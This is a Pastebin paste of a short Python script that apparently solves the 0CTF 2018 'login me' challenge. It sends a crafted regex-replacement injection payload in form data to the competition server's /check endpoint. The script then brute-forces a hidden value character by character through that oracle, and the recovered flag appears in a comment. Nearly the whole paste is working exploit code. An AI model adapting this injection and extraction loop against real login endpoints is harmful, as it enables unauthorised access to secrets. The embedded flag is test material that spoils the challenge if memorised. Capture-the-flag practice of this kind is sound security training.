Advertisement
Guest User

Untitled

a guest
Apr 1st, 2018
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.70 KB | None | 0 0
  1. import requests
  2. import time
  3. import string
  4. #0CTF 2018 login me
  5.  
  6. ascii_list = '0123456789abcdef_'
  7.  
  8. url = "http://202.120.7.194:8081/check"
  9. #url = "http://192.168.159.130:8081/check"
  10.  
  11. header = {"Content-Type": "application/x-www-form-urlencoded"}
  12.  
  13.  
  14. pw = '13fc892df79a86494792e14dcbef252a'
  15. #flag{13fc892df79a86494792e14dcbef252a}
  16. for _try in ascii_list:
  17.     find = pw + _try
  18.     print find
  19.     data='#|this.*(\").*hex_md5(\().{1,12}(\)).*(this\.password_\w{1,30})|#=0$1%2b$2new RegExp$2adm1nkyj_regex$3.exec$2$4$3$3!=$10null$1%26%26test$2$3||$1a&#|adm1nkyj_regex|#=^'+find+'&username=here_username&password=here_password'
  20.  
  21.     result = requests.post(url, headers=header, data=data)
  22.     print result.text
  23.     time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement